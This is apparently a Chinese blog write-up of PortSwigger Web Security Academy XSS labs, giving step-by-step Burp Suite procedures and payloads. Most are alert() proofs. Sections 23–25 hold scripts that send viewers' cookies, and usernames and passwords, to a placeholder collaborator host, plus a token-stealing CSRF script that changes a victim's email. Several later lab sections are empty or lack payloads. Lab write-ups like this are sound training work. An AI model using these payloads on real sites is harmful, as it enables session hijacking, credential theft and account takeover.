PortSwigger(八)跨站脚本XSS漏洞

一、前言

xss攻击类型

XSS 攻击主要分为三种类型。这些都是:

二、实验室:将 XSS 反射到 HTML 上下文中,不进行任何编码

  1. 将以下内容复制并粘贴到搜索框中:

    <script>alert(1)</script>
  2. 单击“搜索”。
  3. 可以利用bp的web漏洞扫描器扫描

三、实验室:将 XSS 存储到 HTML 上下文中,不进行任何编码 

  1. 在评论框中输入以下内容:

    <script>alert(1)</script>
  2. 输入姓名、电子邮件和网站。
  3. 点击“发表评论”。
  4. 返回博客。

只要注意填入内容的时候对文本内容有一定的限制,可以利用web漏洞扫描器进行扫描

四、 实验室:使用源在接收器中进行DOM XSSdocument.writelocation.search

  1. 在搜索框中输入随机字母数字字符串。
  2. 右键单击并检查该元素,并观察您的随机字符串已放置在属性内img src
  3. img通过搜索来 打破属性:

    "><svg onload=alert(1)>

 

 

五、 实验室:在接收器中使用选择元素内的源的DOM XSSdocument.writelocation.search

  1. 在产品页面上,请注意危险的 JavaScriptstoreIdlocation.search源中提取参数。然后,它用于document.write在选择元素中为库存检查器功能创建一个新选项。                                  
  2. storeId查询参数添加到 URL 并输入随机字母数字字符串作为其值。请求此修改后的 URL。                                                                                         
  3. 在浏览器中,请注意您的随机字符串现在已列为下拉列表中的选项之一。                                       
  4. 右键单击并检查下拉列表以确认参数的值storeId已放置在选择元素内。
  5. 更改 URL 以在参数内包含合适的XSSstoreId负载,如下所示:

    product?productId=1&storeId="></select><img%20src=1%20onerror=alert(1)>                          

六、 实验室:使用源的jQuery 锚点属性接收器中的DOM XSShreflocation.search

  1.  在提交反馈页面上,将查询参数更改returnPath/后跟随机字母数字字符串。
  2. 右键单击并检查该元素,并观察您的随机字符串已放置在 ahref属性内。
  3. 更改returnPath为:

    javascript:alert(document.cookie)

    按 Enter 键并单击“返回”。

 

七、 实验室:使用 hashchange 事件的 jQuery 选择器接收器中的DOM XSS

  1. 从实验室横幅中,打开漏洞利用服务器。
  2. body部分中,添加以下恶意代码iframe

    <iframe src="https://YOUR-LAB-ID(这里是自己主页的url).web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>
  3. 存储漏洞利用程序,然后单击“查看漏洞利用程序”print()以确认调用了 该函数。
  4. 返回漏洞利用服务器并单击“交付给受害者”以解决实验室问题                                                   

八、 实验室:将 XSS 反射到带有尖括号 HTML 编码的属性中

  1. 在搜索框中提交随机字母数字字符串,然后使用 Burp Suite 拦截搜索请求并将其发送到 Burp Repeater。
  2. 观察随机字符串已反映在带引号的属性内。
  3. 将您的输入替换为以下有效负载以转义带引号的属性并注入事件处理程序:

    "onmouseover="alert(1)
  4. 通过右键单击、选择“复制 URL”并将 URL 粘贴到浏览器中来验证该技术是否有效。当您将鼠标移到注入的元素上时,它应该触发警报

九、 实验室:将 XSS 存储href到带有双引号 HTML 编码的锚属性中

  1. 在“网站”输入中发布带有随机字母数字字符串的评论,然后使用 Burp Suite 拦截请求并将其发送到 Burp Repeater。
  2. 在浏览器中发出第二个请求以查看帖子,并使用 Burp Suite 拦截该请求并将其发送到 Burp Repeater。
  3. 观察第二个 Repeater 选项卡中的随机字符串已反映在锚点href属性内。
  4. 再次重复该过程,但这次将您的输入替换为以下有效负载,以注入调用警报的 JavaScript URL:

十、 实验室:将 XSS 反射到带有尖括号 HTML 编码的 JavaScript 字符串中

  1. 在搜索框中提交随机字母数字字符串,然后使用 Burp Suite 拦截搜索请求并将其发送到 Burp Repeater。
  2. 观察随机字符串已反映在 JavaScript 字符串中。
  3. 将您的输入替换为以下有效负载,以打破 JavaScript 字符串并注入警报:

    '-alert(1)-'
  4. 通过右键单击、选择“复制 URL”并将 URL 粘贴到浏览器中来验证该技术是否有效。当您加载页面时,它应该触发警报。

十一、 实验室:使用源在接收器中进行DOM XSSinnerHTMLlocation.search

  1. 在搜索框中输入以下内容:

    <img src=1 onerror=alert(1)>
  2. 单击“搜索”。

src属性的值无效并引发错误。这会触发onerror事件处理程序,然后调用该alert()函数。因此,每当用户的浏览器尝试加载包含恶意帖子的页面时,就会执行有效负载。

十二、 实验室:AngularJS 表达式中的 DOM XSS,带有尖括号和双引号 HTML 编码

本实验在搜索功能的 AngularJS 表达式中包含一个基于 DOM 的跨站点脚本漏洞。

AngularJS 是一个流行的 JavaScript 库,它扫描包含属性(也称为 AngularJS 指令)的 HTML 节点的内容。将指令添加到 HTML 代码中时,可以在双大括号内执行 JavaScript 表达式。在对尖括号进行编码时,此技术非常有用。ng-app

若要解决此实验,请执行执行 AngularJS 表达式并调用该函数的跨站点脚本攻击。alert

  1. 在搜索框中输入一个随机字母数字字符串。
  2. 查看页面源代码,并观察随机字符串是否包含在指令中。ng-app
  3. 在搜索框中输入以下 AngularJS 表达式:

    {{$on.constructor('alert(1)')()}}
  4. 单击搜索

十三、 实验室:反射式 DOM XSS

  1. 在 Burp Suite 中,转到 Proxy 工具并确保 Intercept 功能已打开。
  2. 回到实验室,转到目标网站,然后使用搜索栏搜索随机测试字符串,例如 ."XSS"
  3. 返回到 Burp Suite 中的代理工具并转发请求。
  4. 请注意,在“拦截”选项卡上,该字符串反映在名为 的 JSON 响应中。search-results
  5. 在站点地图中,打开文件,请注意 JSON 响应与函数调用一起使用。searchResults.jseval()
  6. 通过试验不同的搜索字符串,可以确定 JSON 响应是否在转义引号。但是,反斜杠并没有被逃脱。
  7. 要解决此实验,请输入以下搜索词:

    \"-alert(1)}//

由于您注入了反斜杠,并且站点没有转义它们,因此当 JSON 响应尝试转义左双引号字符时,它会添加第二个反斜杠。由此产生的双反斜杠会导致转义被有效地抵消。这意味着双引号的处理方式是不转义的,这将关闭应包含搜索词的字符串。

然后,在调用函数之前,使用算术运算符(在本例中为减法运算符)分隔表达式。最后,右大括号和两个正斜杠提前关闭 JSON 对象,并注释掉对象的其余部分。因此,将按如下方式生成响应:alert()

{"searchTerm":"\\"-alert(1)}//", "results":[]}

十四、 实验室:存储的 DOM XSS

发布包含以下向量的评论:

<><img src=1 onerror=alert(1)>

为了防止 XSS,该网站使用 JavaScript 函数对尖括号进行编码。但是,当第一个参数是字符串时,该函数仅替换第一个匹配项。我们通过在注释开头添加一组额外的尖括号来利用此漏洞。这些尖括号将被编码,但任何后续尖括号都不会受到影响,使我们能够有效地绕过过滤器并注入 HTML。replace() 

十五、 实验室:将 XSS 反射到 HTML 上下文中,其中大多数标记和属性被阻止

  1. 注入标准 XSS 向量,例如:

    <img src=1 onerror=print()>                                                                                                   
  2. 请注意,这被阻止了。在接下来的几个步骤中,我们将使用 burp Intruder 来测试哪些标签和属性被阻止。                                                                                                                                                           
  3. 打开 Burp 的浏览器,使用实验室中的搜索功能。将生成的请求发送到 Burp Intruder。
  4. 在 Burp Intruder 的“位置”选项卡中,将搜索词的值替换为:<>
  5. 将光标放在尖括号之间,然后单击“添加 §”两次,以创建有效负载位置。搜索词的值现在应如下所示:<§§>                                                
  6. 访问 XSS 备忘单,然后单击“将标签复制到剪贴板”。
  7. 在 Burp Intruder 的 Payloads 选项卡中,单击“粘贴”将标签列表粘贴到有效负载列表中。点击“开始攻击”。
  8. 攻击完成后,查看结果。请注意,所有有效负载都导致了 HTTP 400 响应,但有效负载除外,它导致了 200 响应。                                                              
  9. 返回 Burp Intruder 中的“位置”选项卡,并将搜索词替换为:

    <body%20=1>
  10. 将光标放在字符之前,然后单击“添加§”两次,以创建有效负载位置。搜索词的值现在应如下所示:=<body%20§§=1>
  11. 访问 XSS 备忘单,然后单击“将事件复制到剪贴板”。
  12. 在 Burp Intruder 的“有效负载”选项卡中,单击“清除”以删除以前的有效负载。然后单击“粘贴”将属性列表粘贴到有效负载列表中。点击“开始攻击”。
  13. 攻击完成后,查看结果。请注意,所有有效负载都导致了 HTTP 400 响应,但有效负载除外,它导致了 200 响应。onresize                                      
  14. 转到漏洞利用服务器并粘贴以下代码,并替换为实验室 ID:YOUR-LAB-ID

    <iframe src="https://YOUR-LAB-ID.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>
  15. 单击“存储”和“向受害者提供漏洞”。                                                                                                   

十六、 实验室:将 XSS 反射到 HTML 上下文中,除自定义标记外,所有标记均被阻止

  1. 转到漏洞利用服务器并粘贴以下代码,并替换为实验室 ID:YOUR-LAB-ID

    <script> location = 'https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x'; </script>
  2. 单击“存储”和“向受害者提供漏洞”。

此注入创建一个带有 ID 的自定义标签,其中包含触发函数的事件处理程序。URL 末尾的哈希值在页面加载后立即聚焦于此元素,从而导致调用有效负载。xonfocusalertalert

 

十七、 实验室:允许使用一些 SVG 标记的反射型 XSS

  1. 注入标准 XSS 有效负载,例如:

    <img src=1 onerror=alert(1)>
  2. 请注意,此有效负载被阻止。在接下来的几个步骤中,我们将使用 Burp Intruder 来测试哪些标签和属性被阻止。
  3. 打开 Burp 的浏览器,使用实验室中的搜索功能。将生成的请求发送到 Burp Intruder。
  4. 在 Burp Intruder 的“位置”选项卡中,单击“清除 §”。
  5. 在请求模板中,将搜索词的值替换为:<>
  6. 将光标放在尖括号之间,然后单击“添加§”两次以创建有效负载位置。搜索词的值现在应为:<§§>
  7. 访问 XSS 备忘单,然后单击“将标签复制到剪贴板”。
  8. 在 Burp Intruder 的 Payloads 选项卡中,单击“粘贴”将标签列表粘贴到有效负载列表中。点击“开始攻击”。
  9. 攻击完成后,查看结果。请注意,所有有效负载都导致了 HTTP 400 响应,但使用 、 、 和 标记的有效负载除外,这些有效负载收到了 200 响应。<svg><animatetransform><title><image>                                                  
  10. 返回 Burp Intruder 中的“位置”选项卡,并将搜索词替换为:

    <svg><animatetransform%20=1>
  11. 将光标放在字符之前,然后单击“添加 §”两次以创建有效负载位置。搜索词的值现在应为:=

    <svg><animatetransform%20§§=1>
  12. 访问 XSS 备忘单,然后单击“将事件复制到剪贴板”。
  13. 在 Burp Intruder 的“有效负载”选项卡中,单击“清除”以删除以前的有效负载。然后单击“粘贴”将属性列表粘贴到有效负载列表中。点击“开始攻击”。
  14. 攻击完成后,查看结果。请注意,所有有效负载都导致了 HTTP 400 响应,但有效负载除外,它导致了 200 响应。onbegin                                  

    在浏览器中访问以下 URL,以确认调用了 alert() 函数并解决了实验室问题:

    https://YOUR-LAB-ID.web-security-academy.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin=alert(1)%3E

 

十八、 实验室:规范链接标记中的反射 XSS

  1. 访问以下 URL,并替换为您的实验室 ID:YOUR-LAB-ID

    https://YOUR-LAB-ID.web-security-academy.net/?%27accesskey=%27x%27onclick=%27alert(1)

    这会将密钥设置为整个页面的访问密钥。当用户按下访问键时,将调用该函数。Xalert

  2. 要在自己身上触发漏洞利用,请按以下组合键之一:
    • 在 Windows 上:ALT+SHIFT+X
    • 在 MacOS 上:CTRL+ALT+X
    • 在 Linux 上:Alt+X

十九、 实验室:将 XSS 反映为带有单引号和反斜杠转义的 JavaScript 字符串

  1. 在搜索框中提交一个随机的字母数字字符串,然后使用 Burp Suite 拦截搜索请求并将其发送到 Burp Repeater。
  2. 观察随机字符串是否已反映在 JavaScript 字符串中。
  3. 尝试发送有效负载,并观察您的单引号是否被反斜杠转义,从而阻止您脱离字符串。test'payload                                               
  4. 将输入替换为以下有效负载,以跳出脚本块并注入新脚本:

    </script><script>alert(1)</script>                                   
  5. 通过右键单击,选择“复制 URL”,然后将 URL 粘贴到浏览器中来验证该技术是否有效。加载页面时,它应该会触发警报。                                                                                                             

二十、 实验室:将 XSS 反映为 JavaScript 字符串,其中尖括号和双引号经过 HTML 编码和单引号转义

  1. 在搜索框中提交一个随机的字母数字字符串,然后使用 Burp Suite 拦截搜索请求并将其发送到 Burp Repeater。
  2. 观察随机字符串是否已反映在 JavaScript 字符串中。
  3. 尝试发送有效负载,并观察您的单引号是否被反斜杠转义,从而阻止您脱离字符串。test'payload
  4. 尝试发送有效负载,并观察您的反斜杠是否未被转义。test\payload
  5. 将输入替换为以下有效负载,以跳出 JavaScript 字符串并注入警报:

    \'-alert(1)//
  6. 通过右键单击,选择“复制 URL”,然后将 URL 粘贴到浏览器中来验证该技术是否有效。加载页面时,它应该会触发警报。

二十一、 实验室:将 XSS 存储到事件中,使用尖括号和双引号 HTML 编码和单引号和反斜杠转义onclick

  1. 在“网站”输入中发布带有随机字母数字字符串的评论,然后使用 Burp Suite 拦截请求并将其发送到 Burp Repeater。
  2. 在浏览器中发出第二个请求以查看帖子,并使用 Burp Suite 拦截该请求并将其发送到 Burp Repeater。
  3. 请注意,第二个 Repeater 选项卡中的随机字符串已反映在事件处理程序属性中。onclick
  4. 再次重复该过程,但这次修改您的输入以注入调用 的 JavaScript URL,使用以下有效负载:alert

    http://foo?&apos;-alert(1)-&apos;
  5. 通过右键单击,选择“复制 URL”,然后将 URL 粘贴到浏览器中来验证该技术是否有效。单击评论上方的名称应该会触发警报。

 

二十二、 实验室:将 XSS 反映为带有尖括号、单引号、双引号、反斜杠和反引号的模板文本 Unicode 转义

  1. 在搜索框中提交一个随机的字母数字字符串,然后使用 Burp Suite 拦截搜索请求并将其发送到 Burp Repeater。
  2. 观察随机字符串是否已反映在 JavaScript 模板字符串中。
  3. 将输入替换为以下有效负载,以在模板字符串中执行 JavaScript:${alert(1)}
  4. 通过右键单击,选择“复制 URL”,然后将 URL 粘贴到浏览器中来验证该技术是否有效。加载页面时,它应该会触发警报。

二十三、 实验室:利用跨站点脚本来窃取 Cookie

  1. 使用 Burp Suite Professional,转到“协作者”选项卡。
  2. 单击“复制到剪贴板”,将唯一的 Burp Collaborator 有效负载复制到剪贴板。                                    
  3. 在博客评论中提交以下有效负载,在指示的位置插入您的 Burp Collaborator 子域:

    <script> fetch('https://BURP-COLLABORATOR-SUBDOMAIN', { method: 'POST', mode: 'no-cors', body:document.cookie }); </script>

    此脚本将使查看评论的任何人向公共协作者服务器上的子域发出包含其 cookie 的 POST 请求。                                                                                                                                                 

  4. 返回“协作者”选项卡,然后单击“立即投票”。您应该会看到 HTTP 交互。如果您没有看到任何互动,请等待几秒钟,然后重试。                                                                                           
  5. 记下 POST 正文中受害者 cookie 的值。                                                                                         
  6. 重新加载博客主页,使用 Burp Proxy 或 Burp Repeater 将您自己的会话 cookie 替换为您在 Burp Collaborator 中捕获的会话 cookie。发送请求以解决实验室问题。为了证明您已成功劫持管理员用户的会话,您可以在请求中使用相同的 cookie 来加载管理员用户的帐户页面。/my-account                                                 

二十四、 实验室:利用跨站点脚本捕获密码

  1. 使用 Burp Suite Professional,转到“协作者”选项卡。
  2. 单击“复制到剪贴板”,将唯一的 Burp Collaborator 有效负载复制到剪贴板。
  3. 在博客评论中提交以下有效负载,在指示的位置插入您的 Burp Collaborator 子域:

    <input name=username id=username> <input type=password name=password onchange="if(this.value.length)fetch('https://BURP-COLLABORATOR-SUBDOMAIN',{ method:'POST', mode: 'no-cors', body:username.value+':'+this.value });">

    此脚本将使查看评论的任何人向公共协作者服务器的子域发出包含其用户名和密码的 POST 请求。                                                                                                                                        

  4. 返回“协作者”选项卡,然后单击“立即投票”。您应该会看到 HTTP 交互。如果您没有看到任何互动,请等待几秒钟,然后重试。
  5. 记下 POST 正文中受害者用户名和密码的值。                                                                          
  6. 使用凭据以受害用户身份登录。                                                                                                      

二十五、 实验:利用 XSS 执行 CSRF

本实验在博客评论功能中包含一个存储的 XSS 漏洞。要解决该实验室,请利用此漏洞执行 CSRF 攻击并更改查看博客文章评论的人的电子邮件地址。

您可以使用以下凭据登录自己的帐户:wiener:peter

  1. 使用提供的凭据登录。在您的用户帐户页面上,请注意更新电子邮件地址的功能。
  2. 如果您查看该页面的来源,您将看到以下信息:
    • 您需要使用名为 的参数向 发出 POST 请求。/my-account/change-emailemail
    • 在一个名为 的隐藏输入中有一个反 CSRF 令牌。token
    这意味着您的漏洞利用将需要加载用户帐户页面,提取 CSRF 令牌,然后使用该令牌更改受害者的电子邮件地址。
  3. 在博客评论中提交以下有效负载:

    <script> var req = new XMLHttpRequest(); req.onload = handleResponse; req.open('get','/my-account',true); req.send(); function handleResponse() { var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1]; var changeReq = new XMLHttpRequest(); changeReq.open('post', '/my-account/change-email', true); changeReq.send('csrf='+token+'&email=test@test.com') }; </script>

    这将使任何查看评论的人发出 POST 请求,以将其电子邮件地址更改为 .test@test.com         

二十六、 实验室:

二十七、 实验室:

二十八、 实验室:

二十九、 实验室:

三十、 实验室:

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值